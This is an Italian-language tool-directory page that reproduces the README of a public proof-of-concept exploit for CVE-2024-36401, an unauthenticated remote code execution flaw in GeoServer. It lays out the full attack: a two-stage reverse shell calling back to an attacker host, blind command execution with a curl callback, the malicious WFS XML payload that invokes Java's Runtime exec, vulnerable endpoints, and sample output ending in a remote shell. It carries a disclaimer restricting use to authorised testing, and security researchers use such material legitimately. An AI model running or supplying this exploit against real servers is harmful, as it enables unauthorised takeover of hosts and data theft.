Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-36401-poc — Exploit RCE non autenticato per GeoServer (CVE-2024-36401) tramite iniezione XPath nel filtro OGC. Supporta esecuzione di comandi reverse shell e blind con rilevamento automatico della versione e probing del tipo di feature. | Kitploit
Strumenti/GitHubGitHub/delt-a/cve-2024-36401-poc
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlRed TeamingStrumento di Accesso Remoto
GitHubdelt-a/cve-2024-36401-poc

CVE-2024-36401-poc

Exploit RCE non autenticato per GeoServer (CVE-2024-36401) tramite iniezione XPath nel filtro OGC. Supporta esecuzione di comandi reverse shell e blind con rilevamento automatico della versione e probing del tipo di feature.

Vedi Repository
133 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-36401 — Iniezione XPath OGC in GeoServer RCE

Python CVE CVSS License

Exploit di esecuzione remota di codice non autenticata per GeoServer tramite iniezione del parametro valueReference del filtro OGC (valutazione XPath/JXPath).

Disclaimer: Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e ricerca sulla sicurezza. Non utilizzarlo contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione scritta. L'autore declina ogni responsabilità per uso improprio o danni causati da questo strumento.


Indice

  • Panoramica
  • Versioni interessate
  • Dettagli tecnici
  • Requisiti
  • Installazione
  • Utilizzo
  • Esempi
  • Come funziona
  • Risoluzione dei problemi
  • Riferimenti

Panoramica

GeoServer è un server Java open-source per la condivisione di dati geospaziali, ampiamente diffuso in ambienti governativi, aziendali e di ricerca. CVE-2024-36401 consente a un attaccante non autenticato di eseguire comandi arbitrari del sistema operativo sull'host iniettando espressioni Java nei parametri dei filtri OGC (Open Geospatial Consortium).

La vulnerabilità è stata aggiunta al catalogo CISA Known Exploited Vulnerabilities (KEV) nel luglio 2024 a causa dello sfruttamento attivo in rete.


Versioni interessate

RamoIntervallo vulnerabileRisolto in
2.23.x< 2.23.62.23.6
2.24.x< 2.24.42.24.4
2.25.x< 2.25.22.25.2

Le versioni di GeoServer precedenti alla 2.23.0 sono probabilmente anch'esse vulnerabili, ma sono giunte a fine vita e non sono state testate.


Dettagli tecnici

GeoServer utilizza la libreria GeoTools per valutare le espressioni dei filtri OGC. Il parametro valueReference (così come altri come CQL_FILTER) viene passato a JXPathContext.selectNodes() di Apache Commons JXPath senza alcuna sanificazione.

JXPath supporta la chiamata di metodi Java arbitrari tramite espressioni come:

exec(java.lang.Runtime.getRuntime(), 'id')

Questa valutazione avviene prima del controllo di autenticazione per determinati endpoint, rendendo la vulnerabilità completamente non autenticata.

Endpoint vulnerabili:

  • POST /geoserver/wfs — Richiesta GetPropertyValue con valueReference
  • GET /geoserver/ows — stesso parametro tramite query string

Nota tecnica importante: L'espressione valueReference deve utilizzare apici singoli (') attorno alla stringa del comando. Gli apici doppi (") causano errori di parsing XML e impediscono l'esecuzione — un errore comune in altri PoC pubblici.


Requisiti

  • Python 3.9+
  • Libreria requests
  • Target che esegue una versione vulnerabile di GeoServer con almeno un tipo di feature WFS disponibile (i workspace con dati di esempio predefiniti sf, topp, tiger sono sufficienti)

Installazione

git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests

Oppure installa le dipendenze direttamente:

pip3 install requests

Utilizzo

usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
                                  [-c CMD] [-f FEATURE]

options:
  -h, --help            mostra questo messaggio di aiuto ed esce
  -t, --target TARGET   URL del target, es. http://<TARGET>:8080
  -l, --lhost LHOST     Il tuo indirizzo IP per il callback della reverse shell
  -p, --lport LPORT     Porta del listener (default: 4444)
  -c, --cmd CMD         Singolo comando da eseguire (nessun output restituito)
  -f, --feature FEATURE   Tipo di feature da sovrascrivere (rilevato automaticamente se omesso)

Modalità

ModalitàFlagDescrizione
Reverse shell-l LHOST -p LPORTReverse shell in due fasi tramite bash
Esecuzione comando-c CMDEsegue un singolo comando (blind — nessun output)
Sovrascrittura tipo feature-f FEATURESalta il rilevamento automatico, usa il tipo specificato

Esempi

1. Reverse shell (consigliata)

Prima avvia un listener:

nc -lvnp 4444

Poi esegui l'exploit:

python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444

Output previsto:

   _______    ________    ___   ____ ___  __ __       _____ _____ __ __  ____
  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      |__  // ___// // / / __ \
 / /    | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/__/ / /_/ /__  __/ /_/ /
\____/  |___/_____/    /____/\____/____/ /_/       /____/\____/  /_/  \____/
   ___
  <  /
  / /
 / /
/_/

  GeoServer OGC XPath Injection RCE  |  CVE-2024-36401
  Unauthenticated  |  CVSS 9.8  |  Affects < 2.25.2 / 2.24.4 / 2.23.6

[*] Target : http://<TARGET>:8080

[+] GeoServer detected — version: 2.24.2
[+] Version 2.24.2 is VULNERABLE
[*] Probing feature types...
[+] Feature type: sf:archsites

[*] Feature type : sf:archsites
[*] Listener      : <LHOST>:4444
[*] Start         : nc -lvnp 4444

[*] Stage 1 — writing /tmp/rs.sh on target...
[+] Payload delivered via sf:archsites
[*] Stage 2 — executing → <LHOST>:4444
[+] Done — check your listener

Sul listener:

Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$

2. Esecuzione comando (blind)

Esegue un comando senza ricevere output. Utile per verifica out-of-band o per scrivere file:

# Verifica dell'esecuzione tramite creazione file
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "touch /tmp/pwned"

# Attiva un callback curl per confermare l'esecuzione
python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -c "curl http://<LHOST>:8000/pwned"

Nota: I comandi che contengono metacaratteri della shell (>, |, &, ;) vengono automaticamente codificati in base64 per evitare problemi di parsing.


3. Specifica manuale del tipo di feature

Se il rilevamento automatico fallisce, fornisci un tipo di feature noto del target:

python3 exploit_CVE-2024-36401.py \
  -t http://<TARGET>:8080 \
  -l <LHOST> \
  -p 4444 \
  -f topp:states

Tipi di feature comuni inclusi nei dati di esempio di GeoServer:

WorkspaceFeature Type
sfsf:archsites, sf:bugsites, sf:roads, sf:streams
topptopp:states, topp:tasmania_cities, topp:tasmania_roads
tigertiger:giant_polygon, tiger:poi, tiger:tiger_roads
citecite:Buildings

Come funziona

L'exploit invia una richiesta WFS GetPropertyValue con un'espressione valueReference malevola:

<wfs:GetPropertyValue service='WFS' version='2.0.0'
  xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>
    exec(java.lang.Runtime.getRuntime(),'COMANDO')
  </wfs:valueReference>
</wfs:GetPropertyValue>

Per la reverse shell viene utilizzato un approccio in due fasi per evitare problemi con i metacaratteri della shell all'interno dell'argomento stringa singola di exec():

Fase 1 — Scrive la reverse shell in /tmp/rs.sh usando la codifica base64 e l'espansione delle parentesi graffe della shell (nessuno spazio nella stringa exec):

Scarica lo strumento